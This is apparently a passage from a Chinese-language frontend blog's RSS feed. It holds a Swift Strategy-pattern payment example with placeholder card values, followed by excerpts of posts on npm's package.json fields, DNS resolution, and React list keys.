&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 策略协议&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;protocol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PaymentStrategy&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pay&lt;/span&gt;(amount: Double) -&amp;gt; Bool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; name: String { &lt;span style="color:#66d9ef"&gt;get&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 具体策略 - 信用卡支付&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CreditCardPayment&lt;/span&gt;: PaymentStrategy {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cardNumber: String
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; cvv: String
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; name: String { &lt;span style="color:#e6db74"&gt;&amp;#34;Credit Card&amp;#34;&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(cardNumber: String, cvv: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.cardNumber = cardNumber
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.cvv = cvv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pay&lt;/span&gt;(amount: Double) -&amp;gt; Bool {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Paying &lt;/span&gt;&lt;span style="color:#e6db74"&gt;\(&lt;/span&gt;amount&lt;span style="color:#e6db74"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt; using Credit Card ending with &lt;/span&gt;&lt;span style="color:#e6db74"&gt;\(&lt;/span&gt;cardNumber.suffix&lt;span style="color:#e6db74"&gt;(&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#e6db74"&gt;))&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 实际支付逻辑&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 具体策略 - Apple Pay&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ApplePayPayment&lt;/span&gt;: PaymentStrategy {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; name: String { &lt;span style="color:#e6db74"&gt;&amp;#34;Apple Pay&amp;#34;&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pay&lt;/span&gt;(amount: Double) -&amp;gt; Bool {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Paying &lt;/span&gt;&lt;span style="color:#e6db74"&gt;\(&lt;/span&gt;amount&lt;span style="color:#e6db74"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt; using Apple Pay&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 调用Apple Pay SDK&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 上下文&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PaymentContext&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; strategy: PaymentStrategy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(strategy: PaymentStrategy) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.strategy = strategy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setStrategy&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; strategy: PaymentStrategy) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.strategy = strategy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;checkout&lt;/span&gt;(amount: Double) -&amp;gt; Bool {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Processing payment with &lt;/span&gt;&lt;span style="color:#e6db74"&gt;\(&lt;/span&gt;strategy.name&lt;span style="color:#e6db74"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; strategy.pay(amount: amount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; creditCard = CreditCardPayment(cardNumber: &lt;span style="color:#e6db74"&gt;&amp;#34;1234567890123456&amp;#34;&lt;/span&gt;, cvv: &lt;span style="color:#e6db74"&gt;&amp;#34;123&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; context = PaymentContext(strategy: creditCard)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;context.checkout(amount: &lt;span style="color:#ae81ff"&gt;99.99&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 切换支付方式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; applePay = ApplePayPayment()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;context.setStrategy(applePay)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;context.checkout(amount: &lt;span style="color:#ae81ff"&gt;99.99&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="使用闭包简化策略"&gt;使用闭包简化策略&lt;/h3&gt;
&lt;p&gt;对于简单的策略，可以使用闭包代替完整的类：&lt;/p&gt;</description></item><item><title>包管理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-008/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-008/</guid><description>&lt;p&gt;现如今，前端开发的同学已经离不开 &lt;code&gt;npm&lt;/code&gt; 这个包管理工具，其优秀的包版本管理机制承载了整个繁荣发展的&lt;code&gt;NodeJS&lt;/code&gt;社区，理解其内部机制非常有利于加深我们对模块开发的理解、各项前端工程化的配置以加快我们排查问题（相信不少同学收到过各种依赖问题的困扰）的速度。&lt;/p&gt;
&lt;p&gt;本文从三个角度：&lt;code&gt;package.json&lt;/code&gt;、版本管理、依赖安装结合具体实例对 &lt;code&gt;npm&lt;/code&gt; 的包管理机制进行了详细分析。&lt;/p&gt;
&lt;h2 id="一剖析-packagejson"&gt;一、剖析 package.json&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-008/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;Node.js&lt;/code&gt; 中，模块是一个库或框架，也是一个 &lt;code&gt;Node.js&lt;/code&gt; 项目。&lt;code&gt;Node.js&lt;/code&gt; 项目遵循模块化的架构，当我们创建了一个 &lt;code&gt;Node.js&lt;/code&gt; 项目，意味着创建了一个模块，这个模块必须有一个描述文件，即 &lt;code&gt;package.json&lt;/code&gt;。它是我们最常见的配置文件，但是它里面的配置你真的有详细了解过吗？配置一个合理的 &lt;code&gt;package.json&lt;/code&gt; 文件直接决定着我们项目的质量，所以首先带大家分析下 &lt;code&gt;package.json&lt;/code&gt; 的各项详细配置。&lt;/p&gt;
&lt;h3 id="11-必备属性"&gt;1.1 必备属性&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;package.json&lt;/code&gt; 中有非常多的属性，其中必须填写的只有两个：&lt;code&gt;name&lt;/code&gt; 和 &lt;code&gt;version&lt;/code&gt; ，这两个属性组成一个 &lt;code&gt;npm&lt;/code&gt; 模块的唯一标识。&lt;/p&gt;
&lt;h4 id="npm包命名规则"&gt;npm包命名规则&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt; 即模块名称，其命名时需要遵循官方的一些规范和建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;包名会成为模块&lt;code&gt;url&lt;/code&gt;、命令行中的一个参数或者一个文件夹名称，任何非&lt;code&gt;url&lt;/code&gt;安全的字符在包名中都不能使用，可以使用 &lt;code&gt;validate-npm-package-name&lt;/code&gt; 包来检测包名是否合法。&lt;/li&gt;
&lt;li&gt;语义化包名，可以帮助开发者更快的找到需要的包，并且避免意外获取错误的包。&lt;/li&gt;
&lt;li&gt;若包名称中存在一些符号，将符号去除后不得与现有包名重复&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例如：由于&lt;code&gt;react-native&lt;/code&gt;已经存在，&lt;code&gt;react.native&lt;/code&gt;、&lt;code&gt;reactnative&lt;/code&gt;都不可以再创建。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果你的包名与现有的包名太相近导致你不能发布这个包，那么推荐将这个包发布到你的作用域下。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例如：用户名 &lt;code&gt;conard&lt;/code&gt;，那么作用域为 &lt;code&gt;@conard&lt;/code&gt;，发布的包可以是&lt;code&gt;@conard/react&lt;/code&gt;。&lt;/p&gt;
&lt;h4 id="查看包是否被占用"&gt;查看包是否被占用&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt; 是一个包的唯一标识，不得和其他包名重复，我们可以执行 &lt;code&gt;npm view packageName&lt;/code&gt; 查看包是否被占用，并可以查看它的一些基本信息：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-008/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;若包名称从未被使用过，则会抛出 &lt;code&gt;404&lt;/code&gt; 错误：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-008/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;另外，你还可以去 &lt;code&gt;https://www.npmjs.com/&lt;/code&gt; 查询更多更详细的包信息。&lt;/p&gt;
&lt;h3 id="12描述信息"&gt;1.2描述信息&lt;/h3&gt;
&lt;h4 id="基本描述"&gt;基本描述&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;description&amp;#34;: &amp;#34;An enterprise-class UI design language and React components implementation&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;keywords&amp;#34;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;ant&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;component&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;components&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;design&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;framework&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;frontend&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;react&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;react-component&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;ui&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;description&lt;/code&gt;用于添加模块的的描述信息，方便别人了解你的模块。&lt;/p&gt;</description></item><item><title>DNS解析</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-008/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-008/</guid><description>&lt;p&gt;TCP/IP提供了通过 &lt;code&gt;IP地址&lt;/code&gt; 来连接到设备的功能，但对用户来讲，记住某台设备的IP地址是相当困难的，因此专门设计了一种字符串形式的主机命名机制，这些主机名与IP地址相对应。在IP地址与主机名之间需要有一种转换和查询机制，提供这种机制的系统就是域名系统DNS（Domain Name System）。&lt;/p&gt;
&lt;h2 id="为什么要有dns"&gt;为什么要有DNS？&lt;/h2&gt;
&lt;p&gt;互联网中，一台计算机与其他计算机通信时，通过 &lt;code&gt;IP地址&lt;/code&gt; 唯一的标志自己。此时的IP地址就类似于我们日常生活中的电话号码。但是，这种纯数字的标识是比较难记忆的，而且数量也比较庞大。例如，每个IPv4地址是一个32位长的二进制数字，或者采用点分十进制展示成192.168.1.1这种格式，有接近43亿个的IPv4地址。DNS的作用就是将人类可读的名称转换为机器识别的IP地址，供计算机相互连接。DNS的工作原理和电话簿相似，都是管理名称和数字之间的映射关系。就像我们日常打电话，一般使用人名查找，很少直接输入电话号码一样。当我们上网打开某个网页、视频时，也很少直接使用IP地址，而是在浏览器里输入的URL地址，例如：&lt;code&gt;https://www.huawei.com&lt;/code&gt;，这其实使用的就是计算机的名字，一般称为域名。&lt;/p&gt;
&lt;h2 id="域名的构成"&gt;域名的构成&lt;/h2&gt;
&lt;p&gt;最初设备的域名由字符序列组成、所有设备的域名组成一个未分级的域名结构。未分级的域名结构存在命名冲突、管理维护复杂的缺点。因此，TCP/IP把DNS的域名设计成了分级的树状结构。每个申请加入Internet的国家都要向NIC注册一个顶级域名，顶级域采用组织模式和地理模式的划分模式，如cn代表中国、us代表美国等。&lt;/p&gt;
&lt;p&gt;常见的顶级域名如下表所示。NIC将顶级域的管理权分派给由其指定的管理机构，由这些管理机构再对被授权管理的域继续进行划分，从而形成了二级域。负责划分二级域的管理机构可以授权其下属的管理结构，由它们继续划分域。由此下去，便形成了层次型的Internet域名体系结构。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;顶级Internet域名&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;com&lt;/td&gt;
&lt;td&gt;商业组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;edu&lt;/td&gt;
&lt;td&gt;教育机构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gov&lt;/td&gt;
&lt;td&gt;政府机构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mil&lt;/td&gt;
&lt;td&gt;军事部门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;net&lt;/td&gt;
&lt;td&gt;主要网络支持中心&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;国际组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;org&lt;/td&gt;
&lt;td&gt;其他组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国家代码&lt;/td&gt;
&lt;td&gt;国家（按照地理模式划分）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;从语法上讲，每一个域名都是有标号序列组成，而各标号之间用点（小数点）隔开。以www.huawei.com域名为例，从右到左依次是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;com：顶级域名。代表商业组织。&lt;/li&gt;
&lt;li&gt;huawei：二级域名，归属于某个公司自己的域名。&lt;/li&gt;
&lt;li&gt;www：三级域名，表明某个公司提供的是什么服务，www代表普通网页。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dns服务器dns客户端和dns中继"&gt;DNS服务器、DNS客户端和DNS中继&lt;/h2&gt;
&lt;p&gt;网络中与DNS相关的设备角色包括DNS服务器、DNS客户端和DNS中继。&lt;/p&gt;
&lt;h3 id="dns服务器"&gt;DNS服务器&lt;/h3&gt;
&lt;p&gt;DNS服务器是将域名指向对应IP地址的服务器。DNS服务器中保存了一张域名和与之相对应的IP地址的表，以解析消息的域名。&lt;/p&gt;
&lt;p&gt;由于互联网连通的是全球资源，单一的域名服务器不足以支撑全部的地址转换操作，因此全球有多套域名服务器相互配合使用。&lt;/p&gt;
&lt;p&gt;域名是分层结构，域名DNS服务器也是对应的层级结构。通过根域名服务器，依次请求顶级域名服务器和权威域名服务器，最终获取对应IP地址，并将该结果保存在本地域名服务器，以待下次DNS请求使用。当用户再次对同一域名发起访问时，可以直接从本地域名服务器获得结果，无需再次发起全球递归查询。&lt;/p&gt;
&lt;p&gt;表1-2 DNS服务器的分类&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;根DNS服务器&lt;/td&gt;
&lt;td&gt;根DNS服务器是最高层次的域名服务器，它知道所有顶级服务器的域名和IP地址，当本地域名服务器无法对域名进行解析时，首先对根域名服务器发起请求。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顶级域名服务器&lt;/td&gt;
&lt;td&gt;顶级域名服务器负责管理该服务器下的所有二级域名，当收到DNS查询请求时，就会给权威域名服务器相应的回答。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权威域名服务器&lt;/td&gt;
&lt;td&gt;负责某一个区域的域名服务器。当一个顶级域名服务器还不能给出最后查询回答时，就会告知下一步应当请求的权威域名服务器。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本地域名服务器&lt;/td&gt;
&lt;td&gt;当一个主机发出DNS查询请求时，这个查询请求报文就发送给本地域名服务器。每一个互联网服务提供者ISP都可以拥有一个本地域名服务器。当本地域名服务器无法给出应答时，就会请求最高级的根域名服务器。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="dns客户端"&gt;DNS客户端&lt;/h3&gt;
&lt;p&gt;DNS客户端的作用是接收用户程序（User Program）的DNS请求，并对其作出回应。作为DNS客户端的设备上一般具备以下能力：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动DNS解析 要使用DNS客户端功能，需要在设备上打开DNS解析的开关。&lt;/li&gt;
&lt;li&gt;指定服务器的IP地址 要进行DNS域名解析，需要在设备上指定DNS服务器的IP地址。这样才能把查询请求发动到正确的DNS服务器上进行解析。&lt;/li&gt;
&lt;li&gt;指定DNS域后缀搜索列表 DNS客户端所访问的一些服务器或主机的域名后缀往往都是相同的。用户可以预先设置一些域名后缀，在域名解析的时候，用户只需要输入域名的部分字段，系统会自动将输入域名加上不同的后缀进行解析。例如，用户想查询域名“huawei.com”，那么可以在后缀列表中配置com，然后输入“huawei”，系统会自动将输入域名与后缀连接成“huawei.com”进行查询。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="dns中继"&gt;DNS中继&lt;/h3&gt;
&lt;p&gt;当DNS服务器的IP地址发生变化时，用户网络中每个DNS客户端上的配置都需要改变，这样工作量极大并且容易出错。此时，可以通过部署DNS中继解决该问题。DNS客户端上配置DNS中继的IP地址，DNS服务器的IP地址在DNS中继上配置。之后，DNS客户端会将DNS请求报文直接发送给DNS中继，由DNS中继将收到的DNS请求报文转发至DNS服务器。由此，当DNS服务器的IP地址发生变化时，仅需改变DNS中继上的配置即可，简化了网络管理。&lt;/p&gt;
&lt;p&gt;DNS中继的工作原理&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DNS客户端将DNS请求报文发送给DNS中继，即请求报文的目的地址为DNS中继的IP地址。&lt;/li&gt;
&lt;li&gt;DNS中继收到请求报文后，将报文转发给DNS服务器，通过DNS服务器进行域名解析。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="dns域名解析过程"&gt;DNS域名解析过程&lt;/h2&gt;
&lt;p&gt;通过域名获取对应IP地址的过程称为域名解析。DNS域名解析分为以下两种方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;静态域名解析 静态域名解析是通过静态域名解析表进行的，即手动建立域名和IP地址之间的对应关系表，该表的作用可以将一些常用的域名放入表中。当DNS客户端需要域名所对应的IP地址时，即到静态域名解析表中去查找指定的域名，从而获得所对应的IP地址，提高域名解析的效率&lt;/li&gt;
&lt;li&gt;动态域名解析 动态域名解析需要专用的域名解析服务器（DNS服务器）运行域名解析服务器程序，提供从域名到IP地址的映射关系，负责接收客户提出的域名解析请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为提高查询速度，在解析域名时，首先采用静态域名解析的方法，如果静态解析不成功，再采用动态域名解析的方法。&lt;/p&gt;</description></item><item><title>列表和key</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-008/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-008/</guid><description>&lt;p&gt;当我们在 React 要渲染一个列表时，如果没有在每一个被渲染的元件加上 key 这个 prop，就会跳出 &lt;code&gt;Warning: Each child in a list should have a unique “key” prop.&lt;/code&gt; 这个错误讯息。直到开发者把 &lt;code&gt;key&lt;/code&gt; 加上后，这个警告讯息才会消失。为什么要加上 key? 以及 key 有什么原则需要遵守? 这是在开发 React 时需要有的重要概念，也是面试经常会问的基础题。&lt;/p&gt;
&lt;h2 id="为什么需要-key"&gt;为什么需要 key？&lt;/h2&gt;
&lt;p&gt;key 就像一个独特身份，让 React 可以去分辨哪些子元件被新增、 移除，或是修改。 (编按：若要进一步说明此概念，推荐在面试时画下 Dan Abramov 的这个系列推文&lt;a href="https://twitter.com/dan_abramov/status/1415279090446204929"&gt;例子&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-008/image-01.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;从上面的例子可以看到，当今天红黄蓝三个圈，变成红蓝黄；这会有两个可能性。可能性一第二个圈跟第三个圈的位置互换；可能性二是位置没互换，但第二个圈变蓝色、第三个圈变黄色。如果没有一个独特辨识的机制，我们会没办法知道，究竟是哪一个可能性。&lt;/p&gt;
